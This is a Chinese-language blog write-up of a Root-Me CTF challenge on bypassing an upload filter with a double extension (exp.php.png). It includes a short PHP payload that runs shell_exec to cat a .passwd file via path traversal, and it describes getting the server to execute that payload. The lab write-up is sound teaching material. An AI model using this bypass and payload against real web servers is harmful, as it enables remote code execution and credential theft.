挑战入口:Root-Me(https://www.root-me.org/en/Challenges/Web-Server/File-upload-double-extensions)
分类目录:Link to …(http://exp-blog.com/2019/01/02/pid-2597/12/)
题目给出了两个提示:
- 双重后缀绕过(double extensions)
- 目标文件 .passwd 在 web 服务的根路径
上传一个图片测试一下,页面会给出图片的 URL 地址,点开后可以打开原图,猜测这或许是一个可利用点。
又从给出的 URL 地址知道,上传的文件距离 web 服务根目录的位置,因此可以构造一个路径穿越的 payloads 文件,文件名为 exp.php
:
1 2 3 4 5 6 7 8 |
<?php // exp.php.png // 假如这个文件上传成功,则可以利用 web 打开这个文件进行解析时进行路径穿越 $content = shell_exec('cat ../../../.passwd'); echo "<pre>$content</pre>"; ?> |
但因为上传会检测文件后缀,无法直接上传。把文件更名为 exp.php.png
尝试绕过检测机制,上传成功。
上传成功后,打开这个伪造的图片文件,发现它被作为 php 文件解析了(应该是 web 设置的问题),成功获得密码,完成挑战。
转载请注明:EXP 技术分享博客 » CTF – RootMe解题报告 [Web-Server : File upload – double extensions]